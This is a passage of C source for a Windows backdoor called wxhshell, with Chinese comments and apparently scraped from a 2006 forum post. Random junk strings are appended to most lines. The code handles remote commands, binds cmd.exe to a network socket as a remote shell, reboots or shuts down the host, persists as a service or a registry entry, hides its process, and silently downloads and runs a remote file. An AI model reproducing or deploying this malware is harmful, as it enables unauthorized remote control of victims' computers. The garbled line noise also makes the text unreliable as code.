    switch(cmd[0]) { wa ky<w,  
  lhO2'#]i  
  // 帮助 Fw"$A0  
  case '?': { * t!r@k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wf9z"B  
    break; S4bBafj[I  
  }  ;:OsSq&  
  // 安装 w z=z?AZW  
  case 'i': { c AEokP  
    if(Install()) S GM!#K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@]k%h  
    else jg_n7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;GOz>pg  
    break; -5k2j^r;  
    } 3ZojE ux`  
  // 卸载 X+l'bp]Ry  
  case 'r': { ;`UecLb#  
    if(Uninstall()) j O8k6<l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-8!#~M(  
    else yZ3nRiuRT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &&7r+.Y  
    break; zOB=aG?/  
    } Cq\I''~8  
  // 显示 wxhshell 所在路径 ,.v7FM^gO  
  case 'p': { Ns=AjhLc z  
    char svExeFile[MAX_PATH]; $$1qF"GF  
    strcpy(svExeFile,"\n\r"); XUmR{A  
      strcat(svExeFile,ExeFile); L`[z[p {?  
        send(wsh,svExeFile,strlen(svExeFile),0); XvKFPr0~  
    break; -JV~[-,  
    } GoE 'L  
  // 重启 J/W{/E>;  
  case 'b': { Qh`:<KI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o6L9UdT   
    if(Boot(REBOOT)) ao$.6X8fQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S$[k Q|Am  
    else { 2Z/K(J"&J  
    closesocket(wsh); nE|@IGH  
    ExitThread(0); !;3PG9n3|h  
    } tju|UhP3  
    break; W?XizTW  
    } c`G&KCw)d  
  // 关机 Q@QFV~  
  case 'd': { uk7'K 0j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m,_d^  
    if(Boot(SHUTDOWN)) 9uYyfb: ,z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ..<3%fL3  
    else { 23ze/;6%A  
    closesocket(wsh); 1HR~ G9  
    ExitThread(0); K@:m/Z}|4  
    } z#Nl@NO&  
    break; {`"#yl6"  
    } Vpp&|n9^  
  // 获取shell ~;#MpG;e  
  case 's': { l]_=:)" ]  
    CmdShell(wsh); %NARyz  
    closesocket(wsh); %[QV,fD'E  
    ExitThread(0); 0 P|&Pq&IH  
    break; & >JDPB?5  
  } N{C;~'M2ce  
  // 退出 zO=%J)-=  
  case 'x': { \\4Eh2 Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }5 9U}@xC  
    CloseIt(wsh); xN"Z1n7t  
    break; z2yJ#  
    } @QEqB_W  
  // 离开 6oL1_)  
  case 'q': { /^7iZ|>:M:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u{f* M,k  
    closesocket(wsh); % _M2N.n  
    WSACleanup(); k(s;,B\  
    exit(1); 'r} fZ  
    break; +M\8>/0oA  
        } !~iGu\y  
  } 2k -+^}r  
  } ` %?9=h%  
" Ar*QJ0]  
  // 提示信息 -_^c6!i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3I=kr  
} -uR72f  
  } "^CXY3v  
6f%DpJ:$U  
  return; lE#m]D  
} -w 6 "?  
S"2qJ!.u  
// shell模块句柄 WE!vSZ3R  
int CmdShell(SOCKET sock) ^4$ 'KIq  
{ ;h/pnmhP  
STARTUPINFO si; ;3ft1  
ZeroMemory(&si,sizeof(si)); -8Ti*:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2XSHZ|;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9s$U%F6}  
PROCESS_INFORMATION ProcessInfo; 1cJsj  
char cmdline[]="cmd"; -V<t-}h.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6vy7l(%  
  return 0; UVu DQ  
}  Qo0H  
JhK/']R  
// 自身启动模式 t-e5ld~a  
int StartFromService(void) Mtm OUI&'  
{ >O9 sk  
typedef struct <_S@6 ?  
{ KJhN J  
  DWORD ExitStatus; BuQ|~V  
  DWORD PebBaseAddress; ?^!,vh  
  DWORD AffinityMask; T8J4C=?/  
  DWORD BasePriority; Gy29MUF  
  ULONG UniqueProcessId; h,t|V}Wb  
  ULONG InheritedFromUniqueProcessId; 6Y*;{\Rd  
}   PROCESS_BASIC_INFORMATION; NC23Z0y  
}U 5Y=RYo  
PROCNTQSIP NtQueryInformationProcess; pgc3jP!  
gvavs+H%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [uuj?Rbd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lvSdY(8  
n~0z_;5  
  HANDLE             hProcess; F#r#}.B='U  
  PROCESS_BASIC_INFORMATION pbi; 0~A#>R'  
mX# "+X|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fjz) Gp  
  if(NULL == hInst ) return 0; |^n3{m  
Q s(Bnb;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,{}#8r`+*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |H)cuZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sa-9$},z4  
y.a]r7  
  if (!NtQueryInformationProcess) return 0; 8v_C5d\  
7} O;FX+x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $ @1u+w  
  if(!hProcess) return 0; gT52G?-  
I."p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~UMOT!4}3  
:b#%C pR  
  CloseHandle(hProcess); 7!4V >O8@  
a:!uORQby  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vs9?+3  
if(hProcess==NULL) return 0; MiGcA EF;  
#6> 6S;Ib  
HMODULE hMod; Zr/r2  
char procName[255]; 3(_!`0#F%  
unsigned long cbNeeded; 2<W&\D o@  
XAic9SNu;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BWK IbG  
;)/@Xx  
  CloseHandle(hProcess); 4br6$  
|r =DBd3  
if(strstr(procName,"services")) return 1; // 以服务启动  &"S/Lt  
;bjnL>eW  
  return 0; // 注册表启动 z1j|E :  
} @)0 Y~A )  
Go8F5a@j  
// 主模块 *g7DPN$aQ  
int StartWxhshell(LPSTR lpCmdLine) rG6\ ynBX%  
{ oXal  
  SOCKET wsl; ,b.n{91[]x  
BOOL val=TRUE; zy)i1d  
  int port=0; 3 N%{B  
  struct sockaddr_in door; (2txM"Dja  
SGf9U^ds  
  if(wscfg.ws_autoins) Install(); ww,Z )m  
)x\z@g  
port=atoi(lpCmdLine); \qq-smcM-  
/~hbOs/ L  
if(port<=0) port=wscfg.ws_port; w-rOecwFvu  
@YZ 4AC  
  WSADATA data; azGn P3_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xZ ;bMxZ  
Bw-s6MS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^ KOzCLC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'lQYJ0  
  door.sin_family = AF_INET; I'A:J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l,bZG3,6  
  door.sin_port = htons(port); jT^!J+?6K+  
Czu1)y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DTy/jaK  
closesocket(wsl); ,y.3Fe  
return 1; \(u@F<s-  
} sp{j!NSL  
Bbs 0v6&,  
  if(listen(wsl,2) == INVALID_SOCKET) { 4A  o{M  
closesocket(wsl); 7A0dl}:  
return 1; p#<nK+6.8  
} G"Pj6QUva  
  Wxhshell(wsl); B\zoJg&7(  
  WSACleanup(); dPRtN@3  
YBR)s\*  
return 0; KqFmFcf|  
_AVy:~/  
} ?Z5$0-g'hU  
uAChu]  
// 以NT服务方式启动 =":@Foa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZjE~W>pkQ  
{ Qb@BV&^y&  
DWORD   status = 0; B>1M$3`E  
  DWORD   specificError = 0xfffffff; 0H; "5  
R,uJK)m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wnb)*pPP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #cR57=M}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K~P76jAe$  
  serviceStatus.dwWin32ExitCode     = 0; HE9. k.sS  
  serviceStatus.dwServiceSpecificExitCode = 0; "MW55OWYU  
  serviceStatus.dwCheckPoint       = 0; 1LV|t+Sex  
  serviceStatus.dwWaitHint       = 0; "tpvENz2s  
* .oi3m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \%Pma8&d  
  if (hServiceStatusHandle==0) return; R%Kl&c  
t!NrB X  
status = GetLastError(); (q055y  
  if (status!=NO_ERROR) k&n\ =tKN  
{ 4U_rB9K$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o-~-F+mj#  
    serviceStatus.dwCheckPoint       = 0; gGF$M `  
    serviceStatus.dwWaitHint       = 0; ^.nwc#  
    serviceStatus.dwWin32ExitCode     = status; ?SBh^/zf  
    serviceStatus.dwServiceSpecificExitCode = specificError; Kw)C{L5a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w;@`Yi.WQ  
    return; goG] WGVr  
  } bDxPgb7N=  
cKaL K#~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F I80vV7  
  serviceStatus.dwCheckPoint       = 0; N;%j#(v j  
  serviceStatus.dwWaitHint       = 0; a g|9$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T9aTEsA[U  
} KB$ vQ@N  
|j\eBCnH3  
// 处理NT服务事件,比如:启动、停止 <!$j9)~x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #u!y`lek  
{ ;Of?fe5:  
switch(fdwControl) **"zDY*?W  
{ GA({ri  
case SERVICE_CONTROL_STOP: cuJ / Vc  
  serviceStatus.dwWin32ExitCode = 0; 2n<qAl$t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ":5~L9&G  
  serviceStatus.dwCheckPoint   = 0; K*hf(w9="%  
  serviceStatus.dwWaitHint     = 0; F>hVrUD8  
  { cx,u2~43A&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3/]f4D{MMY  
  } DR#3njjEC  
  return; rElG7[+)p  
case SERVICE_CONTROL_PAUSE: BbXmT"@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0~LnnD N  
  break; ^/4 {\3  
case SERVICE_CONTROL_CONTINUE: 0ll,V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r-Xjy*T  
  break; wFH(.E0@Q  
case SERVICE_CONTROL_INTERROGATE: #CBo  
  break; ]kU~#WT  
}; < :S?t2C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "'LOaf$X  
} tFb|y+  
2l;ge>D J  
// 标准应用程序主函数 LS?` {E   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >xk:pL*o`  
{ oQE_?">w  
3M5=@Fwkr  
// 获取操作系统版本 ^$^Vd@t>a  
OsIsNt=GetOsVer(); c{r6a=C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p)AvG;  
f]^J,L9qz  
  // 从命令行安装 K1qY10F:_  
  if(strpbrk(lpCmdLine,"iI")) Install(); c"jhbH!u4  
V3. vE,  
  // 下载执行文件 e3bAT.P  
if(wscfg.ws_downexe) { [9##Kb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -bG#h)yj  
  WinExec(wscfg.ws_filenam,SW_HIDE); $txWVjR?\  
} *HfW(C$  
}T&;*ww  
if(!OsIsNt) { 0Mzc1dG:  
// 如果时win9x,隐藏进程并且设置为注册表启动 }pU!1GsO  
HideProc(); `^@g2c+d  
StartWxhshell(lpCmdLine); 6 I>xd  
} G=0}IPfp  
else n Y.Umj  
  if(StartFromService()) pNk,jeo  
  // 以服务方式启动 ^U|CNB%.  
  StartServiceCtrlDispatcher(DispatchTable); mSqk[ Ig\  
else TbSt {TX  
  // 普通方式启动 ff2.| 20  
  StartWxhshell(lpCmdLine); kgib$t_7  
aF_ZV bS  
return 0; y0Q/B|&[  
}
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只看该作者 1 发表于: 2006-10-10
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